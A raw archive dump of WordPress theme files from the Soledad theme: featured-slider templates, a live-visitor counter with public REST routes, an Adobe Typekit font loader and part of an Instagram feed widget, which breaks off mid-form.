					'style-15',
					'style-16',
					'style-17',
					'style-18',
					'style-19',
					'style-20',
					'style-21',
					'style-22',
					'style-23',
					'style-24',
					'style-25',
					'style-26',
					'style-27',
					'style-28'
				] ) ) {
				$slider_class .= ' penci-flat-overlay';
			}

			$slider_lib .= ' elsl-' . $slider_style;
			$swiper     = true;
			if ( $slider_style == 'style-40' ) {
				wp_enqueue_script( 'ff40' );
				wp_enqueue_script( 'gsap' );
				$slider_lib .= ' no-df-swiper';
				$swiper     = false;
			}

			if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
				$slider_lib .= ' no-df-swiper';
				$swiper     = false;
			}

			$new_attr = '';
			if ( $attrs['slidespg'] ) {
				$new_attr = ' data-slidespg="' . $attrs['slidespg'] . '"';
			}
			if ( $attrs['slideTo'] ) {
				$new_attr = ' data-slideTo="' . $attrs['slideTo'] . '"';
			}

			if ( $swiper ) {
				$slider_lib .= ' swiper penci-owl-carousel';
			}

			echo '<div class="featuredsl-customizer featured-area featured-' . $slider_class . '">' . $open_container;
			if ( $slider_style == 'style-37' ) {
				echo '<div class="penci-featured-items-left">';
			}
			echo '<div class="' . $slider_lib . '"' . $data_res . $new_attr . ' data-style="' . $slider_style . '" data-auto="' . $data_auto . '" data-autotime="' . $auto_time . '" data-speed="' . $auto_speed . '" data-loop="' . $data_loop . '"' . $output_anim . '>';
			if ( $swiper ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
				echo '<div class="swiper-wrapper">';
			}

			get_template_part( 'inc/featured_slider/' . $slider_style );

			if ( $swiper && $slider_style != 'style-37' ) {
				echo '</div>';
			}

			echo '</div>';
			echo $close_container . '</div>';
		}
	}

}
PK     N\E1      inc/featured_slider/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-magazine-slider';
$image_mobile_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_mobile_size : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\e;      inc/featured_slider/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 1 ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\ʤ        inc/featured_slider/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-id="<?php echo $main_id; ?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                        <?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\E*      inc/live_visitor.phpnu [        <?php

class penci_live_visitor_update {

	public function __construct() {
		// Register REST route early.
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
	
		// Skip if the feature is disabled.
		if ( ! get_theme_mod( 'penci_live_viewer_enable' ) ) {
			return;
		}
	
		// Delay other actions until WP query is ready.
		add_action( 'wp', [ $this, 'init_later' ] );
	}
	
	public function init_later() {
		if ( ! is_singular() ) {
			return;
		}
	
		$post_type = get_post_type();
		if ( get_theme_mod( 'penci_live_viewer_disable_' . $post_type ) ) {
			return;
		}
	
		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'wp_footer', [ $this, 'view_content' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
	}

	public function view_content() {
		$pos = get_theme_mod( 'penci_live_viewer_position', 'bottom-left' );
		echo '<div id="visitor-count" class="penci-visitor-count ' . esc_attr( $pos ) . '"></div>';
	}

	// Register REST routes
	public function register_routes() {
		register_rest_route( 'livevisitor/v1', '/update/(?P<post_id>\d+)', [
			'methods'             => 'POST',
			'callback'            => [ $this, 'update_visitor' ],
			'permission_callback' => '__return_true',
		] );

		register_rest_route( 'livevisitor/v1', '/count/(?P<post_id>\d+)', [
			'methods'             => 'GET',
			'callback'            => [ $this, 'count_visitor' ],
			'permission_callback' => '__return_true',
		] );
	}

	// Update visitor count
	public function update_visitor( $request ) {
		$post_id = (int) $request['post_id'];

		// Get visitor's IP address
		$visitor_ip = $_SERVER['REMOTE_ADDR'];

		// Fetch the current list of visitor IPs (or initialize an empty array)
		$visitors = get_transient( 'livevisitor_ips_' . $post_id ) ?: [];

		// Add visitor IP if it's not already in the list
		if ( ! in_array( $visitor_ip, $visitors ) ) {
			$visitors[] = $visitor_ip;
		}

		// Save the updated list of visitor IPs back to transient with expiration of 30 seconds
		set_transient( 'livevisitor_ips_' . $post_id, $visitors, 30 );

		return [ 'status' => 'ok' ];
	}

	// Get current visitor count based on IP addresses
	public function count_visitor( $request ) {
		$post_id = (int) $request['post_id'];

		// Get the list of visitor IPs for this post
		$visitors = get_transient( 'livevisitor_ips_' . $post_id ) ?: [];

		// Return the number of unique visitors (IP count)
		return [ 'count' => count( $visitors ) ];
	}

	// Enqueue JS file
	public function enqueue_scripts() {
		if ( is_singular() ) {
			// Enqueue JS file
			wp_enqueue_script(
				'penci-live-visitor-counter',
				PENCI_SOLEDAD_URL . '/js/live-visitor.js',
				[],
				null,
				true
			);

			$post_id = get_the_ID();
        	$post_type_object = get_post_type_object( get_post_type( $post_id ) );
        	$object_label = $post_type_object ? strtolower( $post_type_object->labels->singular_name ) : 'post';


			// Localize the post ID to JavaScript
			wp_localize_script( 'penci-live-visitor-counter', 'penci_live_visitor', [
				'post_id'        => $post_id,
				'object_label'   => $object_label,
				'singular_text'  => get_theme_mod('penci_live_viewer_singular_text', '1 viewer reading this {object}'),
				'plural_text'    => get_theme_mod('penci_live_viewer_plural_text', '{view} viewers are reading this {object}')
			] );
		}
	}

	public function popup_style() {
		$color = get_theme_mod( 'penci_live_viewer_color' );
		$bgcolor = get_theme_mod( 'penci_live_viewer_bgcolor' );
		if ( $color ) {
			echo '.penci-visitor-count{
				color: ' . esc_attr( $color ) . ';
			}';
		}
		if ( $bgcolor ) {
			echo '.penci-visitor-count{
				background: ' . esc_attr( $bgcolor ) . ';
			}';
		}
	}
}

// Initialize the class
new penci_live_visitor_update();PK     N\d      inc/extra.phpnu [        <?php
add_action( 'admin_init', 'penci_get_abobe_kits' );
function penci_get_abobe_kits() {

    if ( current_user_can( 'manage_options' ) && isset( $_REQUEST['clear_pencitypekit_css'] ) && $_REQUEST['clear_pencitypekit_css'] ) {
        delete_option( 'penci-typekit-data' );
    }

    $api_key = get_theme_mod( 'penci_api_adobe_font' );

    // If data exists we don't need to query the API.
    if ( get_option( 'penci-typekit-data', false ) ) {
        return;
    }

    if ( ! $api_key ) {
        return;
    }

    $url       = 'https://typekit.com/api/v1/json/kits/';
    $curl_args = array();
    $response  = wp_remote_request( $url . '?token=' . esc_attr( $api_key ), $curl_args );

    if ( wp_remote_retrieve_response_code( $response ) != '200' ) {
        return;
    }

    $response_body = json_decode( wp_remote_retrieve_body( $response ) );
    $kits          = array();

    if ( is_array( $response_body->kits ) ) {
        // loop through the kits object.
        foreach ( $response_body->kits as $kit ) {
            // perform an API request for the individual kit.
            $data = penci_get_kit_from_api( $kit->id, $api_key );

            if ( $data ) {
                // Enable kits by default.
                $kits[ $kit->id ]['enabled'] = true;
                // loop through the kit and standardize the data.
                foreach ( $data->families as $family ) {
                    $kits[ $kit->id ]['families'][] = array(
                        'label'    => $family->name,
                        'id'       => $family->slug,
                        'variants' => array_map( 'penci_standardize_variant_names', $family->variations ),
                        'stack'    => $family->css_stack,
                    );
                }
            }
        }
    }
    // Save the results so we don't need to query the API again.
    update_option( 'penci-typekit-data', $kits );
}

function penci_get_kit_font_family() {
    $typekit_data = get_option( 'penci-typekit-data' );
    $family = [];
    if ( ! empty ( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {
            
            foreach ( $values['families'] as $font_id => $font_data ) {
                $label = $font_data['label'];
                $id = $font_data['id'];
                $family[ $id ] = $label;
            }
        }
    }
    return $family;
}
function penci_get_kit_font_id() {
    $typekit_data = get_option( 'penci-typekit-data' );
    $family = [];
    if ( ! empty ( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {
            
            foreach ( $values['families'] as $font_id => $font_data ) {
                $label = $font_data['id'];
                $family[ $label ] = $label;
            }
        }
    }
    return $family;
}
add_filter( 'penci_font_list', function( $font_list ) {
    if ( !empty ( penci_get_kit_font_family() ) ) {
        $font_list = array_merge( penci_get_kit_font_family(), $font_list ); 
    }
    return $font_list;
} );

add_filter( 'penci_exlude_fonts_css', function( $font_list ) {
    if ( !empty ( penci_get_kit_font_id() ) ) {
        $font_list = array_merge( penci_get_kit_font_id(), $font_list ); 
    }
    return $font_list;
} );

function penci_get_kit_from_api( $kit_id, $api ) {
    $url       = 'https://typekit.com/api/v1/json/kits/' . esc_attr( $kit_id ) . '?token=' . esc_attr( $api );
    $curl_args = array();
    $response  = wp_remote_request( $url, $curl_args );

    if ( wp_remote_retrieve_response_code( $response ) === 200 ) {
        $response_body = json_decode( wp_remote_retrieve_body( $response ) );
        return $response_body->kit;
    }

    return false;
}

function penci_standardize_variant_names( $variant ) {
    $variants_key = array(
        'n1' => '100',
        'n2' => '200',
        'n3' => '300',
        'n4' => '400',
        'n5' => '500',
        'n6' => '600',
        'n7' => '700',
        'n8' => '800',
        'n9' => '900',
        'i1' => '100i',
        'i2' => '200i',
        'i3' => '300i',
        'i4' => '400i',
        'i5' => '500i',
        'i6' => '600i',
        'i7' => '700i',
        'i8' => '800i',
        'i9' => '900i',
    );

    if ( array_key_exists( $variant, $variants_key ) ) {
        return $variants_key[ $variant ];
    } else {
        return $variant;
    }
}

add_action( 'wp_enqueue_scripts', 'penci_typekit_enqueue_css' );
function penci_typekit_enqueue_css() {
    $typekit_data = get_option( 'penci-typekit-data', array() );

    if ( is_array( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {

            // skip if the kit is disabled.
            if ( $values['enabled'] === false ) {
                continue;
            }

            $clean_id = sanitize_text_field( $id );

            wp_enqueue_style( 'typekit-' . $clean_id, 'https://use.typekit.com/' . $clean_id . '.css', array(), PENCI_SOLEDAD_VERSION );
        }
    }
}

if ( ! function_exists( 'penci_clear_typekit_toolbar_link' ) ) {
	function penci_clear_typekit_toolbar_link( $wp_admin_bar ) {

		if ( current_user_can( 'manage_options' ) &&  get_option( 'penci-typekit-data' ) ) {
			$btn_title = 'Clear Tyepkit Fonts Cache';
			$args = array(
				'id'    => 'pencitypekit-clearcache',
				'title' => $btn_title,
				'href'  => '?clear_pencitypekit_css=true',
				'meta'  => array(
					'class' => 'pencitypekit-clear-button',
					'title' => $btn_title,
				)
			);
			$wp_admin_bar->add_node( $args );
		}
	}

	add_action( 'admin_bar_menu', 'penci_clear_typekit_toolbar_link', 999 );
}PK     N\sp:3@  @    inc/instagram/widget.phpnu [        <?php
add_action( 'widgets_init', 'penci_instagram_feed_widget' );

if ( ! function_exists( 'penci_instagram_feed_widget' ) ) {
	function penci_instagram_feed_widget() {
		register_widget( 'Penci_Instagram_Feed_Widget' );
	}
}

if ( ! class_exists( 'Penci_Instagram_Feed_Widget' ) ) {
	class Penci_Instagram_Feed_Widget extends WP_Widget {

		protected $default;

		function __construct() {
			$this->default = array(
				'title'            => __( 'Instagram', 'soledad' ),
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 9,
				'columns'          => 3,
				'refresh_hour'     => 12,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$widget_ops  = array(
				'classname'   => 'penci-insta-slider',
				'description' => esc_html__( 'A widget that displays thumbnails or a slider with instagram images', 'soledad' )
			);
			$control_ops = array( 'id_base' => 'penci-insta-slider' );

			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci-insta-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Instagram Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci-insta-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Instagram Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		function widget( $args, $instance ) {
			$instance = wp_parse_args( $instance, $this->default );
			extract( $args );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			$title = apply_filters( 'widget_title', $instance['title'] );
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			Penci_Instagram_Feed::display_images( $instance );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$instance['title']            = isset( $new_instance['title'] ) && $new_instance['title'] ? $new_instance['title'] : '';
			$instance['template']         = isset( $new_instance['template'] ) && $new_instance['template'] ? $new_instance['template'] : '';
			$instance['images_link']      = isset( $new_instance['images_link'] ) && $new_instance['images_link'] ? $new_instance['images_link'] : '';
			$instance['custom_url']       = isset( $new_instance['custom_url'] ) && $new_instance['custom_url'] ? $new_instance['custom_url'] : '';
			$instance['orderby']          = isset( $new_instance['orderby'] ) && $new_instance['orderby'] ? $new_instance['orderby'] : '';
			$instance['images_number']    = isset( $new_instance['images_number'] ) && $new_instance['images_number'] ? $new_instance['images_number'] : '';
			$instance['columns']          = isset( $new_instance['columns'] ) && $new_instance['columns'] ? $new_instance['columns'] : '';
			$instance['refresh_hour']     = isset( $new_instance['refresh_hour'] ) && $new_instance['refresh_hour'] ? $new_instance['refresh_hour'] : '';
			$instance['image_size']       = isset( $new_instance['image_size'] ) && $new_instance['image_size'] ? $new_instance['image_size'] : '';
			$instance['image_link_rel']   = isset( $new_instance['image_link_rel'] ) && $new_instance['image_link_rel'] ? $new_instance['image_link_rel'] : '';
			$instance['image_link_class'] = isset( $new_instance['image_link_class'] ) && $new_instance['image_link_class'] ? $new_instance['image_link_class'] : '';
			$instance['controls']         = isset( $new_instance['controls'] ) && $new_instance['controls'] ? $new_instance['controls'] : '';
			$instance['caption_words']    = isset( $new_instance['caption_words'] ) && $new_instance['caption_words'] ? $new_instance['caption_words'] : '';
			$instance['slidespeed']       = isset( $new_instance['slidespeed'] ) && $new_instance['slidespeed'] ? $new_instance['slidespeed'] : '';
			$instance['description']      = isset( $new_instance['description'] ) && $new_instance['description'] ? $new_instance['description'] : '';

			return $instance;
		}

		function form( $instance ) {
			$instance = wp_parse_args( $instance, $this->default );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <div class="penci-instagram-container">
                <p><span style="color: #ff0000;">Note Important: </span>Please connect to your Instagram accout on <a
                            href="<?php echo esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ); ?>"
                            target="_blank">this page</a> first.
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'title' ); ?>"><strong><?php _e( 'Title:', 'soledad' ); ?></strong></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>"
                           name="<?php echo $this->get_field_name( 'title' ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_number' ); ?>"><strong><?php _e( 'Number of images to show:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'images_number' ); ?>"
                               name="<?php echo $this->get_field_name( 'images_number' ); ?>"
                               value="<?php echo $instance['images_number']; ?>"/>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"><strong><?php _e( 'Check for new images every:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"
                               name="<?php echo $this->get_field_name( 'refresh_hour' ); ?>"
                               value="<?php echo $instance['refresh_hour']; ?>"/>
                        <span><?php _e( 'hours', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'template' ); ?>"><strong><?php _e( 'Template', 'soledad' ); ?></strong>
